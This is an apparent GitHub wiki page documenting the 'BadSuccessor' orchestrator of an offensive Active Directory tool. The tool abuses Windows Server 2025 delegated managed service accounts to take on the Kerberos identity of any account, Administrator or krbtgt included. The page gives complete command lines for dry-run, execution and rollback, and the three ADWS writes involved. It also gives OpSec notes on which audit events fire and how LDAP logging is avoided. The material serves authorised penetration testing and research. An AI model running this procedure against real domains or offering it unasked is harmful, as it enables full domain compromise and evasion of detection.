Skip to content

BadSuccessor

belettetimoree edited this page Nov 1, 2026 · 1 revision

BadSuccessor Orchestrator

The BadSuccessor orchestrator automates the Akamai research on Windows Server 2025 Delegated Managed Service Accounts (dMSA). The attack chain abuses the msDS-ManagedAccountPrecededByLink attribute to inherit the Kerberos identity of an arbitrary account through dMSA migration semantics.

Status: shipped in v1.5. The three ADWS writes are implemented through the shared ADWSConnect.put() helper. The post-exploitation step (requesting a service ticket as the migrated identity) relies on a patched impacket and is out of scope for Soaphound.py itself.

Requirements

  • A target DC running Windows Server 2025. The dMSA object class and the two Managed Account attributes are only present on that schema version.
  • An attacker identity with CreateChild permissions for msDS-DelegatedManagedServiceAccount on at least one OU in the target domain. This is the only pre-requisite - no AdminSDHolder write, no local admin, no Kerberos TGS forging.
  • The DN of the target account to migrate (any user including Tier-0 principals, up to and including krbtgt).
  • Clock within 5 minutes of the DC.

CLI Flags

Flag Purpose
--badsuccessor Enable the orchestrator. Mutually exclusive with the BloodHound collection flags.
--target DN DN of the account to inherit from. Example: CN=Administrator,CN=Users,DC=corp,DC=local.
--dmsa-cn CN Short name for the dMSA to create. Example: svc-badsuccessor$.
--dmsa-ou OU_DN DN of the OU where the dMSA will be created. Must be an OU where the caller has CreateChild (msDS-DelegatedManagedServiceAccount).
--dry-run Compute the three SOAP envelopes and print them; do not call the DC.
--rollback Delete the dMSA created by a previous --badsuccessor run (identified by --dmsa-cn).

The three ADWS writes

Step Operation SOAP body
1 WS-Transfer Create New msDS-DelegatedManagedServiceAccount object under --dmsa-ou, with the mandatory msDS-ManagedPasswordId, msDS-ManagedPasswordInterval, msDS-GroupMSAMembership placeholders.
2 WS-Transfer Put Set msDS-ManagedAccountPrecededByLink on the newly created dMSA to the DN passed in --target.
3 WS-Transfer Put Set msDS-DelegatedMSAState=2 on the dMSA. State 2 marks the migration as "complete", which triggers the KDC into granting tickets for the dMSA that bundle the target's PAC on next lookup.

All three operations ride a single ADWS session on tcp/9389. No LDAP write (4662 on writeProperty) is generated.

Example - dry run

soaphound \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --badsuccessor --dry-run \
  --target 'CN=Administrator,CN=Users,DC=corp,DC=local' \
  --dmsa-cn 'svc-bs$' \
  --dmsa-ou 'OU=Delegated,DC=corp,DC=local'

Dry-run output includes the three serialized WS-Transfer envelopes and the exact ResourceCreated / Put endpoints that would be hit on the DC.

Example - execute

soaphound \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --badsuccessor \
  --target 'CN=Administrator,CN=Users,DC=corp,DC=local' \
  --dmsa-cn 'svc-bs$' \
  --dmsa-ou 'OU=Delegated,DC=corp,DC=local'

After the three writes complete, the attacker requests a service ticket for the dMSA. The KDC embeds the Administrator PAC into the response, giving the attacker code execution as Administrator against any service the dMSA is permitted to authenticate to. The ticket request step requires the Akamai-patched impacket: https://github.com/fortra/impacket/blob/master/examples/badsuccessor.py.

Example - rollback

soaphound \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --badsuccessor --rollback \
  --dmsa-cn 'svc-bs$' \
  --dmsa-ou 'OU=Delegated,DC=corp,DC=local'

Deletes the dMSA via WS-Transfer Delete. The msDS-ManagedAccountPrecededByLink reference is cleaned up as part of the standard tombstoning.

OpSec Notes

  • Transport: tcp/9389 only. No LDAP, no DCOM, no SMB.
  • DC-side events: 5137 (object created) on step 1, 5136 (attribute modified) on steps 2 and 3. Both only fire with a per-container SACL and the Advanced Audit Policy "Directory Service Changes" subcategory enabled.
  • No 4662 is generated for the writes because they are not routed through LDAP.
  • Kerberos events: 4769 with the dMSA SPN on exploitation. The TGS request's PAC inheritance is not visible on the wire - only the ticket client identity is.
  • --rollback fires 5141 (object deleted) when SACLs are in place.

References

Clone this wiki locally